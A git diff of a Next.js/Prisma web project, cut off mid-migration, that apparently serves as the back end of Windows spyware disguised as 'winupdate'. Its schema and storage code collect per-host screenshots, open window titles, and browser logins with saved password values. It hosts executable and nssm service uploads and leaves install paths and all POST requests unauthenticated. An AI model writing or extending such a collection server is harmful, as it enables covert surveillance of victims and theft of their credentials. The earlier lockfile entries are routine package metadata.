"prisma": ["prisma@6.10.1", "", { "dependencies": { "@prisma/config": "6.10.1", "@prisma/engines": "6.10.1" }, "peerDependencies": { "typescript": ">=5.1.0" }, "optionalPeers": ["typescript"], "bin": { "prisma": "build/index.js" } }, "sha512-khhlC/G49E4+uyA3T3H5PRBut486HD2bDqE2+rvkU0pwk9IAqGFacLFUyIx9Uw+W2eCtf6XGwsp+/strUwMNPw=="], + + "query-string": ["query-string@7.1.3", "", { "dependencies": { "decode-uri-component": "^0.2.2", "filter-obj": "^1.1.0", "split-on-first": "^1.0.0", "strict-uri-encode": "^2.0.0" } }, "sha512-hh2WYhq4fi8+b+/2Kg9CEge4fDPvHS534aOOvOZeQ3+Vf2mCFsaFBYj0i+iXcAq6I9Vzp5fjMFBlONvayDC1qg=="], + "react": ["react@19.1.0", "", {}, "sha512-FS+XFBNvn3GTAWq26joslQgWNoFu08F4kl0J4CgdNKADkdSGXQyTCnKteIAJy96Br6YbpEU1LSzV5dYtjMkMDg=="], "react-dom": ["react-dom@19.1.0", "", { "dependencies": { "scheduler": "^0.26.0" }, "peerDependencies": { "react": "^19.1.0" } }, "sha512-Xs1hdnE+DyKgeHJeJznQmYMIBG3TKIHJJT95Q58nHLSrElKlGQqDTR2HQ9fx5CN/Gk6Vh/kupBTDLU11/nDk/g=="], + "readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="], + + "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], + + "safe-regex-test": ["safe-regex-test@1.1.0", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "is-regex": "^1.2.1" } }, "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw=="], + + "sax": ["sax@1.4.1", "", {}, "sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg=="], + "scheduler": ["scheduler@0.26.0", "", {}, "sha512-NlHwttCI/l5gCPR3D1nNXtWABUmBwvZpEQiD4IXSbIDq8BzLIK/7Ir5gTFSGZDUu37K5cMNp0hFtzO38sC7gWA=="], "semver": ["semver@7.7.2", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA=="], + "set-function-length": ["set-function-length@1.2.2", "", { "dependencies": { "define-data-property": "^1.1.4", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2" } }, "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg=="], + "sharp": ["sharp@0.34.2", "", { "dependencies": { "color": "^4.2.3", "detect-libc": "^2.0.4", "semver": "^7.7.2" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.34.2", "@img/sharp-darwin-x64": "0.34.2", "@img/sharp-libvips-darwin-arm64": "1.1.0", "@img/sharp-libvips-darwin-x64": "1.1.0", "@img/sharp-libvips-linux-arm": "1.1.0", "@img/sharp-libvips-linux-arm64": "1.1.0", "@img/sharp-libvips-linux-ppc64": "1.1.0", "@img/sharp-libvips-linux-s390x": "1.1.0", "@img/sharp-libvips-linux-x64": "1.1.0", "@img/sharp-libvips-linuxmusl-arm64": "1.1.0", "@img/sharp-libvips-linuxmusl-x64": "1.1.0", "@img/sharp-linux-arm": "0.34.2", "@img/sharp-linux-arm64": "0.34.2", "@img/sharp-linux-s390x": "0.34.2", "@img/sharp-linux-x64": "0.34.2", "@img/sharp-linuxmusl-arm64": "0.34.2", "@img/sharp-linuxmusl-x64": "0.34.2", "@img/sharp-wasm32": "0.34.2", "@img/sharp-win32-arm64": "0.34.2", "@img/sharp-win32-ia32": "0.34.2", "@img/sharp-win32-x64": "0.34.2" } }, "sha512-lszvBmB9QURERtyKT2bNmsgxXK0ShJrL/fvqlonCo7e6xBF8nT8xU6pW+PMIbLsz0RxQk3rgH9kd8UmvOzlMJg=="], "simple-swizzle": ["simple-swizzle@0.2.2", "", { "dependencies": { "is-arrayish": "^0.3.1" } }, "sha512-JA//kQgZtbuY83m+xT+tXJkmJncGMTFT+C+g2h2R9uxkYIrE2yy9sgmcLhCnw57/WSD+Eh3J97FPEDFnbXnDUg=="], "source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="], + "split-on-first": ["split-on-first@1.1.0", "", {}, "sha512-43ZssAJaMusuKWL8sKUBQXHWOpq8d6CfN/u1p4gUzfJkM05C8rxTmYrkIPTXapZpORA6LkkzcUulJ8FqA7Uudw=="], + + "stream-chain": ["stream-chain@2.2.5", "", {}, "sha512-1TJmBx6aSWqZ4tx7aTpBDXK0/e2hhcNSTV8+CbFJtDjbb+I1mZ8lHit0Grw9GRT+6JbIrrDd8esncgBi8aBXGA=="], + + "stream-json": ["stream-json@1.9.1", "", { "dependencies": { "stream-chain": "^2.2.5" } }, "sha512-uWkjJ+2Nt/LO9Z/JyKZbMusL8Dkh97uUBTv3AJQ74y07lVahLY4eEFsPsE97pxYBwr8nnjMAIch5eqI0gPShyw=="], + "streamsearch": ["streamsearch@1.1.0", "", {}, "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg=="], + "strict-uri-encode": ["strict-uri-encode@2.0.0", "", {}, "sha512-QwiXZgpRcKkhTj2Scnn++4PKtWsH0kpzZ62L2R6c/LUVYv7hVnZqcg2+sMuT6R7Jusu1vviK/MFsu6kNJfWlEQ=="], + + "string_decoder": ["string_decoder@1.3.0", "", { "dependencies": { "safe-buffer": "~5.2.0" } }, "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA=="], + + "strnum": ["strnum@1.1.2", "", {}, "sha512-vrN+B7DBIoTTZjnPNewwhx6cBA/H+IS7rfW68n7XxC1y7uoiGQBxaKzqucGUgavX15dJgiGztLJ8vxuEzwqBdA=="], + "styled-jsx": ["styled-jsx@5.1.6", "", { "dependencies": { "client-only": "0.0.1" }, "peerDependencies": { "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0 || ^19.0.0-0" } }, "sha512-qSVyDTeMotdvQYoHWLNGwRFJHC+i+ZvdBRYosOFgC+Wg1vx4frN2/RG/NA7SYqqvKNLf39P2LSRA2pu6n0XYZA=="], "tailwindcss": ["tailwindcss@4.1.11", "", {}, "sha512-2E9TBm6MDD/xKYe+dvJZAmg3yxIEDNRc0jwlNyDg/4Fil2QcSLjFKGVff0lAf1jjeaArlG/M75Ey/EYr/OJtBA=="], @@ -227,12 +403,34 @@ "tar": ["tar@7.4.3", "", { "dependencies": { "@isaacs/fs-minipass": "^4.0.0", "chownr": "^3.0.0", "minipass": "^7.1.2", "minizlib": "^3.0.1", "mkdirp": "^3.0.1", "yallist": "^5.0.0" } }, "sha512-5S7Va8hKfV7W5U6g3aYxXmlPoZVAwUMy9AOKyF2fVuZa2UD3qZjg578OrLRt8PcNN1PleVaL/5/yYATNL0ICUw=="], + "through2": ["through2@4.0.2", "", { "dependencies": { "readable-stream": "3" } }, "sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw=="], + "tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + "type-is": ["type-is@1.6.18", "", { "dependencies": { "media-typer": "0.3.0", "mime-types": "~2.1.24" } }, "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g=="], + + "typedarray": ["typedarray@0.0.6", "", {}, "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA=="], + "typescript": ["typescript@5.8.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-p1diW6TqL9L07nNxvRMM7hMMw4c5XOo/1ibL4aAIGmSAt9slTE1Xgw5KWuof2uTOvCg9BY7ZRi+GaF+7sfgPeQ=="], "undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], + "util": ["util@0.12.5", "", { "dependencies": { "inherits": "^2.0.3", "is-arguments": "^1.0.4", "is-generator-function": "^1.0.7", "is-typed-array": "^1.1.3", "which-typed-array": "^1.1.2" } }, "sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA=="], + + "util-deprecate": ["util-deprecate@1.0.2", "", {}, "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="], + + "vary": ["vary@1.1.2", "", {}, "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="], + + "web-encoding": ["web-encoding@1.1.5", "", { "dependencies": { "util": "^0.12.3" }, "optionalDependencies": { "@zxing/text-encoding": "0.9.0" } }, "sha512-HYLeVCdJ0+lBYV2FvNZmv3HJ2Nt0QYXqZojk3d9FJOLkwnuhzM9tmamh8d7HPM8QqjKH8DeHkFTx+CFlWpZZDA=="], + + "which-typed-array": ["which-typed-array@1.1.19", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.8", "call-bound": "^1.0.4", "for-each": "^0.3.5", "get-proto": "^1.0.1", "gopd": "^1.2.0", "has-tostringtag": "^1.0.2" } }, "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw=="], + + "xml2js": ["xml2js@0.6.2", "", { "dependencies": { "sax": ">=0.6.0", "xmlbuilder": "~11.0.0" } }, "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA=="], + + "xmlbuilder": ["xmlbuilder@11.0.1", "", {}, "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA=="], + + "xtend": ["xtend@4.0.2", "", {}, "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ=="], + "yallist": ["yallist@5.0.0", "", {}, "sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw=="], "@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.4.3", "", { "dependencies": { "@emnapi/wasi-threads": "1.0.2", "tslib": "^2.4.0" }, "bundled": true }, "sha512-4m62DuCE07lw01soJwPiBGC0nAww0Q+RY70VZ+n49yDIO13yyinhbWCeNnaob0lakDtWQzSdtNWzJeOJt2ma+g=="], @@ -248,5 +446,7 @@ "@tailwindcss/oxide-wasm32-wasi/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], "next/postcss": ["postcss@8.4.31", "", { "dependencies": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", "source-map-js": "^1.0.2" } }, "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ=="], + + "tar/mkdirp": ["mkdirp@3.0.1", "", { "bin": { "mkdirp": "dist/cjs/src/bin.js" } }, "sha512-+NsyUUAZDmo6YVHzL/stxSu3t9YS1iljliy3BSDrXJ/dkn1KYdmtZODGGjLcc9XLgVVpH4KshHB8XmZgMhaBXg=="], } } diff --git a/lib/config.ts b/lib/config.ts new file mode 100644 index 0000000..174fc21 --- /dev/null +++ b/lib/config.ts @@ -0,0 +1,12 @@ +export const config = { + port: process.env.PORT || 3000, + auth: { + username: process.env.AUTH_USERNAME || 'admin', + password: process.env.AUTH_PASSWORD || 'password' + }, + // For file upload settings + upload: { + maxFileSize: 10 * 1024 * 1024, // 10MB + allowedTypes: ['image/jpeg', 'image/png', 'image/webp', 'application/x-msdownload'] + } +} diff --git a/lib/fileStorage.ts b/lib/fileStorage.ts new file mode 100644 index 0000000..236d20b --- /dev/null +++ b/lib/fileStorage.ts @@ -0,0 +1,216 @@ +import * as Minio from 'minio' +import { randomUUID } from 'crypto' +import { minioClient, BUCKET_NAME, initializeMinIO } from './minioClient' + +export interface StoredFile { + id: string + filename: string + contentType: string + objectName: string // MinIO 对象名称 + size: number + uploadTime: Date +} + +export interface FileMetadata { + id: string + originalFilename: string + contentType: string + size: number + uploadTime: Date + objectName: string +} + +// 生成对象名称,使用分层结构优化性能 +function generateObjectName(type: 'screenshot' | 'version' | 'other', hostname?: string): string { + const now = new Date() + const year = now.getFullYear() + const month = String(now.getMonth() + 1).padStart(2, '0') + const day = String(now.getDate()).padStart(2, '0') + const uuid = randomUUID() + + if (type === 'screenshot' && hostname) { + return `screenshots/${year}/${month}/${day}/${hostname}/${uuid}` + } else if (type === 'version') { + return `versions/${year}/${month}/${uuid}` + } else { + return `files/${year}/${month}/${day}/${uuid}` + } +} + +// 确保 MinIO 已初始化 +let minioInitialized = false +export async function ensureMinIOReady(): Promise { + if (!minioInitialized) { + const success = await initializeMinIO() + if (!success) { + throw new Error('MinIO 初始化失败') + } + minioInitialized = true + } +} + +export async function storeFile( + buffer: Buffer, + filename: string, + contentType: string = 'application/octet-stream', + type: 'screenshot' | 'version' | 'other' = 'other', + hostname?: string +): Promise { + await ensureMinIOReady() + + const id = randomUUID() + const ext = filename.split('.').pop() || '' + const objectName = `${generateObjectName(type, hostname)}.${ext}` + + // 设置元数据 + const metadata = { + 'Content-Type': contentType, + 'X-Original-Filename': filename, + 'X-File-ID': id, + 'X-Upload-Time': new Date().toISOString(), + 'X-File-Type': type, + ...(hostname && { 'X-Hostname': hostname }) + } + + try { + // 上传到 MinIO + await minioClient.putObject(BUCKET_NAME, objectName, buffer, buffer.length, metadata) + + console.log(`✅ 文件上传成功: ${objectName} (${buffer.length} bytes)`) + + return { + id, + filename, + contentType, + objectName, + size: buffer.length, + uploadTime: new Date() + } + } catch (error) { + console.error('❌ 文件上传失败:', error) + throw new Error(`文件上传失败: ${error}`) + } +} + +export async function getFile(fileIdOrObjectName: string): Promise<{ buffer: Buffer; contentType: string; filename: string } | null> { + try { + await ensureMinIOReady() + + let objectName = fileIdOrObjectName + + // 如果看起来是 fileId (UUID格式),我们需要从数据库查找 objectName + // 这里简化处理:如果包含 '/' 就认为是 objectName,否则当作 fileId + if (!fileIdOrObjectName.includes('/')) { + // 这是一个 fileId,需要从数据库查找对应的 objectName + // 注意:这里需要在 API 层面处理,因为不同的模型存储在不同表中 + // 暂时直接使用传入的值,让 API 层传递正确的 objectName + console.log(`⚠️ 警告: getFile 收到的可能是 fileId 而不是 objectName: ${fileIdOrObjectName}`) + } + + // 获取对象信息 + const stat = await minioClient.statObject(BUCKET_NAME, objectName) + + // 下载文件 + const stream = await minioClient.getObject(BUCKET_NAME, objectName) + const chunks: Buffer[] = [] + + return new Promise((resolve, reject) => { + stream.on('data', (chunk) => chunks.push(chunk)) + stream.on('end', () => { + const buffer = Buffer.concat(chunks) + resolve({ + buffer, + contentType: stat.metaData?.['content-type'] || 'application/octet-stream', + filename: stat.metaData?.['x-original-filename'] || objectName.split('/').pop() || 'unknown' + }) + }) + stream.on('error', (error) => { + console.error('❌ 文件下载失败:', error) + reject(error) + }) + }) + } catch (error) { + console.error('❌ 获取文件失败:', error) + return null + } +} + +// 优化版本:直接通过 objectName 获取文件(用于已知对象名的情况) +export async function getFileByObjectName(objectName: string): Promise<{ buffer: Buffer; contentType: string; filename: string } | null> { + try { + await ensureMinIOReady() + + // 获取对象信息 + const stat = await minioClient.statObject(BUCKET_NAME, objectName) + + // 下载文件 + const stream = await minioClient.getObject(BUCKET_NAME, objectName) + const chunks: Buffer[] = [] + + return new Promise((resolve, reject) => { + stream.on('data', (chunk) => chunks.push(chunk)) + stream.on('end', () => { + const buffer = Buffer.concat(chunks) + resolve({ + buffer, + contentType: stat.metaData?.['content-type'] || 'application/octet-stream', + filename: stat.metaData?.['x-original-filename'] || objectName.split('/').pop() || 'unknown' + }) + }) + stream.on('error', (error) => { + console.error('❌ 文件下载失败:', error) + reject(error) + }) + }) + } catch (error) { + console.error('❌ 获取文件失败:', error) + return null + } +} + +export async function deleteFile(objectName: string): Promise { + try { + await ensureMinIOReady() + + await minioClient.removeObject(BUCKET_NAME, objectName) + console.log(`✅ 文件删除成功: ${objectName}`) + return true + } catch (error) { + console.error('❌ 文件删除失败:', error) + return false + } +} + +// 获取文件统计信息 +export async function getStorageStats(): Promise<{ + totalObjects: number; + totalSize: number; + bucketName: string; +}> { + try { + await ensureMinIOReady() + + let totalObjects = 0 + let totalSize = 0 + + const objectsStream = minioClient.listObjects(BUCKET_NAME, '', true) + + await new Promise((resolve, reject) => { + objectsStream.on('data', (obj) => { + totalObjects++ + totalSize += obj.size || 0 + }) + objectsStream.on('end', resolve) + objectsStream.on('error', reject) + }) + + return { + totalObjects, + totalSize, + bucketName: BUCKET_NAME + } + } catch (error) { + console.error('❌ 获取存储统计失败:', error) + return { totalObjects: 0, totalSize: 0, bucketName: BUCKET_NAME } + } +} diff --git a/lib/middleware.ts b/lib/middleware.ts new file mode 100644 index 0000000..ed84c55 --- /dev/null +++ b/lib/middleware.ts @@ -0,0 +1,67 @@ +import { NextRequest, NextResponse } from 'next/server' +import { config } from './config' + +export function withAuth(handler: (req: NextRequest) => Promise) { + return async (req: NextRequest) => { + const url = new URL(req.url) + + // Skip auth for certain paths + if ( + url.pathname.startsWith('/api/') || + url.pathname.startsWith('/screenshots/') || + url.pathname.startsWith('/downloads/') || + url.pathname.includes('install') || + url.pathname.includes('WinupdateCore') || + req.method === 'POST' + ) { + return handler(req) + } + + const authHeader = req.headers.get('authorization') + + if (!authHeader) { + return new NextResponse('Authentication required', { + status: 401, + headers: { + 'WWW-Authenticate': 'Basic realm="Restricted Access"' + } + }) + } + + try { + const auth = Buffer.from(authHeader.split(' ')[1], 'base64').toString() + const [username, password] = auth.split(':') + + if (username === config.auth.username && password === config.auth.password) { + return handler(req) + } else { + return new NextResponse('Authentication failed', { + status: 401, + headers: { + 'WWW-Authenticate': 'Basic realm="Restricted Access"' + } + }) + } + } catch { + return new NextResponse('Invalid authentication', { + status: 401, + headers: { + 'WWW-Authenticate': 'Basic realm="Restricted Access"' + } + }) + } + } +} + +export function withCors(handler: (req: NextRequest) => Promise) { + return async (req: NextRequest) => { + const response = await handler(req) + + response.headers.set('Access-Control-Allow-Origin', '*') + response.headers.set('Access-Control-Allow-Methods', 'GET, POST, OPTIONS') + response.headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization') + response.headers.set('Access-Control-Expose-Headers', 'Content-Range, X-Content-Range') + + return response + } +} diff --git a/lib/minioClient.ts b/lib/minioClient.ts new file mode 100644 index 0000000..825490c --- /dev/null +++ b/lib/minioClient.ts @@ -0,0 +1,80 @@ +import * as Minio from 'minio' + +// MinIO 配置 - 从环境变量读取 +export const minioConfig = { + endPoint: process.env.MINIO_ENDPOINT || 'localhost', + port: parseInt(process.env.MINIO_PORT || '9000'), + useSSL: process.env.MINIO_USE_SSL === 'true', + accessKey: process.env.MINIO_ACCESS_KEY || '', + secretKey: process.env.MINIO_SECRET_KEY || '' +} + +export const BUCKET_NAME = process.env.MINIO_BUCKET_NAME || 'winupdate' + +// 验证配置 +if (!minioConfig.accessKey || !minioConfig.secretKey) { + console.error('❌ MinIO 配置不完整,请检查环境变量 MINIO_ACCESS_KEY 和 MINIO_SECRET_KEY') +} + +// 创建 MinIO 客户端 +export const minioClient = new Minio.Client(minioConfig) + +// 测试连接并确保 bucket 存在 +export async function initializeMinIO(): Promise { + try { + // 测试连接 + await minioClient.listBuckets() + console.log('✅ MinIO 连接成功') + + // 检查 bucket 是否存在 + const bucketExists = await minioClient.bucketExists(BUCKET_NAME) + if (!bucketExists) { + console.log(`❌ Bucket "${BUCKET_NAME}" 不存在`) + return false + } + + console.log(`✅ Bucket "${BUCKET_NAME}" 存在`) + return true + } catch (error) { + console.error('❌ MinIO 连接失败:', error) + return false + } +} + +// 测试上传小文件 +export async function testMinIOUpload(): Promise { + try { + const testData = Buffer.from('Hello MinIO! This is a test file.') + const objectName = `test/test-${Date.now()}.txt` + + await minioClient.putObject(BUCKET_NAME, objectName, testData) + console.log(`✅ 测试文件上传成功: ${objectName}`) + + // 测试下载 + const stream = await minioClient.getObject(BUCKET_NAME, objectName) + const chunks: Buffer[] = [] + + return new Promise((resolve, reject) => { + stream.on('data', (chunk) => chunks.push(chunk)) + stream.on('end', () => { + const downloadedData = Buffer.concat(chunks) + if (downloadedData.toString() === testData.toString()) { + console.log('✅ 测试文件下载成功') + // 清理测试文件 + minioClient.removeObject(BUCKET_NAME, objectName).catch(console.error) + resolve(true) + } else { + console.log('❌ 测试文件下载数据不匹配') + resolve(false) + } + }) + stream.on('error', (error) => { + console.error('❌ 测试文件下载失败:', error) + reject(error) + }) + }) + } catch (error) { + console.error('❌ MinIO 测试失败:', error) + return false + } +} diff --git a/lib/prisma.ts b/lib/prisma.ts new file mode 100644 index 0000000..af2a01e --- /dev/null +++ b/lib/prisma.ts @@ -0,0 +1,9 @@ +import { PrismaClient } from '@prisma/client' + +const globalForPrisma = globalThis as unknown as { + prisma: PrismaClient | undefined +} + +export const prisma = globalForPrisma.prisma ?? new PrismaClient() + +if (process.env.NODE_ENV !== 'production') globalForPrisma.prisma = prisma diff --git a/lib/push.ts b/lib/push.ts new file mode 100644 index 0000000..bfa5460 --- /dev/null +++ b/lib/push.ts @@ -0,0 +1,8 @@ +// Simple notification/logging function +// In production, you might want to integrate with actual push notification service +export function push(message: string) { + console.log(`[NOTIFICATION] ${new Date().toISOString()}: ${message}`) + + // Here you could add actual push notification logic + // For example, sending to webhook, email, or push notification service +} diff --git a/package.json b/package.json index 242b588..e1e359d 100644 --- a/package.json +++ b/package.json @@ -4,14 +4,28 @@ "private": true, "scripts": { "dev": "next dev --turbopack", - "build": "next build", + "build": "prisma generate && next build", "start": "next start", - "lint": "next lint" + "lint": "next lint", + "db:generate": "prisma generate", + "db:migrate": "prisma migrate dev", + "db:reset": "prisma migrate reset", + "db:studio": "prisma studio" }, "dependencies": { + "@prisma/client": "^6.10.1", + "@types/bcryptjs": "^3.0.0", + "@types/cors": "^2.8.19", + "@types/minio": "^7.1.1", + "@types/multer": "^1.4.13", + "bcryptjs": "^3.0.2", + "cors": "^2.8.5", + "minio": "^8.0.5", + "multer": "^2.0.1", + "next": "15.3.4", + "prisma": "^6.10.1", "react": "^19.0.0", - "react-dom": "^19.0.0", - "next": "15.3.4" + "react-dom": "^19.0.0" }, "devDependencies": { "typescript": "^5", diff --git a/prisma/migrations/20250628064242_init/migration.sql b/prisma/migrations/20250628064242_init/migration.sql new file mode 100644 index 0000000..c6a2b52 --- /dev/null +++ b/prisma/migrations/20250628064242_init/migration.sql @@ -0,0 +1,122 @@ +-- CreateTable +CREATE TABLE "hosts" ( + "id" TEXT NOT NULL, + "hostname" TEXT NOT NULL, + "lastUpdate" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updatedAt" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "hosts_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "records" ( + "id" TEXT NOT NULL, + "hostname" TEXT NOT NULL, + "timestamp" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updatedAt" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "records_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "windows" ( + "id" TEXT NOT NULL, + "recordId" TEXT NOT NULL, + "title" TEXT NOT NULL, + "path" TEXT NOT NULL, + "memory" INTEGER NOT NULL, + + CONSTRAINT "windows_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "screenshots" ( + "id" TEXT NOT NULL, + "recordId" TEXT NOT NULL, + "fileId" TEXT NOT NULL, + "filename" TEXT NOT NULL, + "monitorName" TEXT NOT NULL, + + CONSTRAINT "screenshots_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "credentials" ( + "id" TEXT NOT NULL, + "hostname" TEXT NOT NULL, + "username" TEXT NOT NULL, + "browser" TEXT NOT NULL, + "url" TEXT NOT NULL, + "login" TEXT NOT NULL, + "lastSyncTime" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updatedAt" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "credentials_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "passwords" ( + "id" TEXT NOT NULL, + "credentialId" TEXT NOT NULL, + "value" TEXT NOT NULL, + "timestamp" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + + CONSTRAINT "passwords_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "versions" ( + "id" TEXT NOT NULL, + "version" TEXT NOT NULL, + "fileId" TEXT NOT NULL, + "filename" TEXT NOT NULL, + "checksum" TEXT NOT NULL, + "uploadTime" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "isLatest" BOOLEAN NOT NULL DEFAULT false, + + CONSTRAINT "versions_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "nssm" ( + "id" TEXT NOT NULL, + "fileId" TEXT NOT NULL, + "filename" TEXT NOT NULL, + "checksum" TEXT NOT NULL, + "uploadTime" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + + CONSTRAINT "nssm_pkey" PRIMARY KEY ("id") +); + +-- CreateIndex +CREATE UNIQUE INDEX "hosts_hostname_key" ON "hosts"("hostname"); + +-- CreateIndex +CREATE INDEX "records_hostname_timestamp_idx" ON "records"("hostname", "timestamp"); + +-- CreateIndex +CREATE INDEX "records_timestamp_idx" ON "records"("timestamp"); + +-- CreateIndex +CREATE INDEX "credentials_hostname_idx" ON "credentials"("hostname"); + +-- CreateIndex +CREATE UNIQUE INDEX "credentials_hostname_username_browser_url_login_key" ON "credentials"("hostname", "username", "browser", "url", "login"); + +-- AddForeignKey +ALTER TABLE "records" ADD CONSTRAINT "records_hostname_fkey" FOREIGN KEY ("hostname") REFERENCES "hosts"("hostname") ON DELETE RESTRICT ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "windows" ADD CONSTRAINT "windows_recordId_fkey" FOREIGN KEY ("recordId") REFERENCES "records"("id") ON DELETE CASCADE ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "screenshots" ADD CONSTRAINT "screenshots_recordId_fkey" FOREIGN KEY ("recordId") REFERENCES "records"("id") ON DELETE CASCADE ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "credentials" ADD CONSTRAINT "credentials_hostname_fkey" FOREIGN KEY ("hostname") REFERENCES "hosts"("hostname") ON DELETE RESTRICT ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "passwords" ADD CONSTRAINT "passwords_credentialId_fkey" FOREIGN KEY ("credentialId") REFERENCES "credentials"("id") ON DELETE CASCADE ON UPDATE CASCADE; diff --git a/prisma/migrations/20250628070254_add_minio_objectname/migration.sql b/prisma/migrations/20250628070254_add_minio_objectname/migration.sql new file mode 100644 index 0000000..e6606fc --- /dev/null +++ b/prisma/migrations/20250628070254_add_minio_objectname/migration.sql @@ -0,0 +1,31 @@ +/* + Warnings: + + - Added the required column `objectName` to the `nssm` table without a default value. This is not possible if the table 